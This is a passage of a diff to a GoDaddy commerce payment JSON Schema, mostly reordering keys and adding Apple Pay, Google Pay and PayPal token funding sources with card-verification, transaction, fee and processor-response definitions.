"MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "required": [ + "token" + ], + "title": "ApplePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } + "title": "Token VerificationData", + "type": "object" } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents sale transaction against a payment" - }, - "readOnly": true, - "description": "Sales for the payment" - }, - "refunds": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Refund Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Google pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GooglePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "type": { + "cardPin": { + "description": "Card pin block.", "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } }, - "required": [ - "amount", - "type" - ] + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Paypal token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "PaypalPaymentToken", + "type": "object" + } + ], + "properties": { + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" + } + }, + "required": [ + "sourceType" + ], + "title": "Funding Source", + "type": "object" + }, + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Refund Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" + }, + "sales": { + "description": "Sales for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/sale.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "feeType" - ] + "title": "Tip Amount", + "type": "object" }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": 